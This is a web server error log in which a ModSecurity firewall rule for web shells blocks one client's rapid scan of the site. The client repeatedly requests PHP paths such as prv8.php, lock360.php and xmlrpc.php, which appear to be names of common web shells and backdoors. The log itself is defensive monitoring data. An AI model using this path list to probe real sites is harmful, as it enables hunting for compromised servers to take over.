[Sat Feb 28 01:02:03.813805 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43665] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aaHOCwP6I7SRqrhh7RrlyAAAAVI"]
[Sat Feb 28 01:02:04.228407 2026] [:error] [pid 38586:tid 38604] [client 20.220.196.236:43756] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/re.php"] [unique_id "aaHODL_i6nvKNhjFW7UuKgAAAQ8"]
[Sat Feb 28 01:02:04.639552 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43729] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aaHODAP6I7SRqrhh7Rrl0AAAAUg"]
[Sat Feb 28 01:02:05.050798 2026] [:error] [pid 15240:tid 15242] [client 20.220.196.236:43746] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aaHODS1iKL_41Rk9A9NlzwAAAAA"]
[Sat Feb 28 01:02:05.463191 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43650] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aaHODQP6I7SRqrhh7Rrl3AAAAVY"]
[Sat Feb 28 01:02:05.880099 2026] [:error] [pid 15240:tid 15260] [client 20.220.196.236:43838] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aaHODS1iKL_41Rk9A9Nl0wAAABI"]
[Sat Feb 28 01:02:06.293890 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43652] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaHODgP6I7SRqrhh7Rrl5wAAAU8"]
[Sat Feb 28 01:02:06.705472 2026] [:error] [pid 38620:tid 38646] [client 20.220.196.236:43832] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaHODgP6I7SRqrhh7Rrl8gAAAVg"]
[Sat Feb 28 01:02:07.119601 2026] [:error] [pid 15100:tid 15171] [client 20.220.196.236:43709] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaHOD0OEbzcINan_ctK4xQAAAEs"]
[Sat Feb 28 01:02:07.531211 2026] [:error] [pid 15100:tid 15162] [client 20.220.196.236:43669] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aaHOD0OEbzcINan_ctK4xgAAAEI"]
[Sat Feb 28 01:02:07.943181 2026] [:error] [pid 15098:tid 15122] [client 20.220.196.236:43821] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaHOD8kFqny8dQQbmTkehQAAAJA"]
[Sat Feb 28 01:02:08.357532 2026] [:error] [pid 15100:tid 15173] [client 20.220.196.236:43748] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaHOEEOEbzcINan_ctK4ygAAAE0"]
[Sat Feb 28 01:02:08.768140 2026] [:error] [pid 38620:tid 38642] [client 20.220.196.236:43649] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaHOEAP6I7SRqrhh7RrmCQAAAVQ"]
[Sat Feb 28 01:02:09.176144 2026] [:error] [pid 38586:tid 38600] [client 20.220.196.236:43671] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aaHOEb_i6nvKNhjFW7UuQwAAAQs"]
[Sat Feb 28 01:02:09.593444 2026] [:error] [pid 38620:tid 38638] [client 20.220.196.236:43722] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aaHOEQP6I7SRqrhh7RrmEQAAAVA"]
[Sat Feb 28 01:02:10.008013 2026] [:error] [pid 15099:tid 15135] [client 20.220.196.236:43706] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aaHOEunvP2vtPjYDq_guqQAAAMI"]
[Sat Feb 28 01:02:10.420753 2026] [:error] [pid 38586:tid 38603] [client 20.220.196.236:43675] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aaHOEr_i6nvKNhjFW7UuWwAAAQ4"]
[Sat Feb 28 01:02:10.834034 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43811] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aaHOEr_i6nvKNhjFW7UuYgAAARg"]
[Sat Feb 28 01:02:11.245978 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43661] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aaHOEwP6I7SRqrhh7RrmIQAAAUM"]
[Sat Feb 28 01:02:11.656868 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43714] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aaHOEwP6I7SRqrhh7RrmJgAAAVI"]
[Sat Feb 28 01:02:12.073628 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43301] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aaHOFAP6I7SRqrhh7RrmLgAAAUo"]
[Sat Feb 28 01:02:12.485641 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43653] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aaHOFAP6I7SRqrhh7RrmNQAAAUM"]
[Sat Feb 28 01:02:12.897800 2026] [:error] [pid 38620:tid 38643] [client 20.220.196.236:43654] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aaHOFAP6I7SRqrhh7RrmOwAAAVU"]
[Sat Feb 28 01:02:13.311044 2026] [:error] [pid 15100:tid 15174] [client 20.220.196.236:43697] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aaHOFUOEbzcINan_ctK40AAAAE4"]
[Sat Feb 28 01:02:13.723250 2026] [:error] [pid 15098:tid 15126] [client 20.220.196.236:43589] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aaHOFckFqny8dQQbmTkenAAAAJQ"]
[Sat Feb 28 01:02:14.137930 2026] [:error] [pid 15240:tid 15243] [client 20.220.196.236:43275] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aaHOFi1iKL_41Rk9A9NmAAAAAAE"]
[Sat Feb 28 01:02:14.551935 2026] [:error] [pid 15099:tid 15140] [client 20.220.196.236:43765] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aaHOFunvP2vtPjYDq_gurQAAAMc"]
[Sat Feb 28 01:02:14.965716 2026] [:error] [pid 15099:tid 15156] [client 20.220.196.236:43868] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aaHOFunvP2vtPjYDq_gurgAAANc"]
[Sat Feb 28 01:02:15.379121 2026] [:error] [pid 38620:tid 38631] [client 20.220.196.236:43715] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aaHOFwP6I7SRqrhh7RrmUwAAAUk"]
[Sat Feb 28 01:02:15.788689 2026] [:error] [pid 15099:tid 15146] [client 20.220.196.236:43760] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aaHOF-nvP2vtPjYDq_gusAAAAM0"]
[Sat Feb 28 01:02:16.205069 2026] [:error] [pid 38620:tid 38633] [client 20.220.196.236:43767] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aaHOGAP6I7SRqrhh7RrmXAAAAUs"]
[Sat Feb 28 01:02:16.616507 2026] [:error] [pid 15099:tid 15134] [client 20.220.196.236:43725] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aaHOGOnvP2vtPjYDq_gusQAAAME"]
[Sat Feb 28 01:02:17.028919 2026] [:error] [pid 38586:tid 38608] [client 20.220.196.236:43753] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aaHOGb_i6nvKNhjFW7UuggAAARM"]
[Sat Feb 28 01:02:17.453521 2026] [:error] [pid 15100:tid 15184] [client 20.220.196.236:43720] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aaHOGUOEbzcINan_ctK40wAAAFg"]
[Sat Feb 28 01:02:17.865674 2026] [:error] [pid 15240:tid 15248] [client 20.220.196.236:43753] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aaHOGS1iKL_41Rk9A9NmFAAAAAY"]
[Sat Feb 28 01:02:18.277354 2026] [:error] [pid 15240:tid 15262] [client 20.220.196.236:43719] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aaHOGi1iKL_41Rk9A9NmFwAAABQ"]
[Sat Feb 28 01:02:18.693048 2026] [:error] [pid 15098:tid 15116] [client 20.220.196.236:43798] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aaHOGskFqny8dQQbmTkeogAAAIo"]
[Sat Feb 28 01:02:19.104727 2026] [:error] [pid 15240:tid 15252] [client 20.220.196.236:43685] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aaHOGy1iKL_41Rk9A9NmIwAAAAo"]
[Sat Feb 28 01:02:19.517163 2026] [:error] [pid 15240:tid 15249] [client 20.220.196.236:43755] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aaHOGy1iKL_41Rk9A9NmKgAAAAc"]
[Sat Feb 28 01:02:19.928884 2026] [:error] [pid 15240:tid 15261] [client 20.220.196.236:43696] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aaHOGy1iKL_41Rk9A9NmMAAAABM"]
[Sat Feb 28 01:02:20.340281 2026] [:error] [pid 38586:tid 38599] [client 20.220.196.236:43713] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aaHOHL_i6nvKNhjFW7UujAAAAQo"]
[Sat Feb 28 01:02:20.752885 2026] [:error] [pid 15240:tid 15262] [client 20.220.196.236:43667] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aaHOHC1iKL_41Rk9A9NmOAAAABQ"]
[Sat Feb 28 01:02:21.164776 2026] [:error] [pid 38586:tid 38608] [client 20.220.196.236:43679] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHOHb_i6nvKNhjFW7UulAAAARM"]
[Sat Feb 28 01:02:21.573445 2026] [:error] [pid 38586:tid 38609] [client 20.220.196.236:43839] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHOHb_i6nvKNhjFW7UulgAAARQ"]
[Sat Feb 28 01:02:21.983911 2026] [:error] [pid 38586:tid 38596] [client 20.220.196.236:43770] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHOHb_i6nvKNhjFW7UumgAAAQc"]
[Sat Feb 28 01:02:22.396114 2026] [:error] [pid 38586:tid 38598] [client 20.220.196.236:43677] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHOHr_i6nvKNhjFW7UungAAAQk"]
[Sat Feb 28 01:02:22.809626 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43619] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aaHOHgP6I7SRqrhh7RrmawAAAUo"]
[Sat Feb 28 01:02:23.220667 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43738] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aaHOHwP6I7SRqrhh7RrmbwAAAU8"]
[Sat Feb 28 01:02:23.627302 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43771] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aaHOHwP6I7SRqrhh7RrmcgAAAUM"]
[Sat Feb 28 01:02:24.039154 2026] [:error] [pid 15240:tid 15255] [client 20.220.196.236:43874] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aaHOIC1iKL_41Rk9A9NmTgAAAA0"]
[Sat Feb 28 01:02:24.464051 2026] [:error] [pid 15100:tid 15179] [client 20.220.196.236:43692] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaHOIEOEbzcINan_ctK42gAAAFM"]
[Sat Feb 28 01:02:24.875469 2026] [:error] [pid 38620:tid 38634] [client 20.220.196.236:43701] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaHOIAP6I7SRqrhh7RrmdwAAAUw"]
[Sat Feb 28 01:02:25.285766 2026] [:error] [pid 15240:tid 15264] [client 20.220.196.236:43928] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaHOIS1iKL_41Rk9A9NmVgAAABY"]
[Sat Feb 28 01:02:25.698978 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43751] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaHOIQP6I7SRqrhh7RrmegAAAUQ"]
[Sat Feb 28 01:02:26.112182 2026] [:error] [pid 15240:tid 15248] [client 20.220.196.236:43591] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aaHOIi1iKL_41Rk9A9NmXAAAAAY"]
[Sat Feb 28 01:02:26.522355 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43604] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aaHOIgP6I7SRqrhh7RrmfgAAAVc"]
[Sat Feb 28 01:02:26.934153 2026] [:error] [pid 38620:tid 38638] [client 20.220.196.236:43609] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "aaHOIgP6I7SRqrhh7RrmgQAAAVA"]
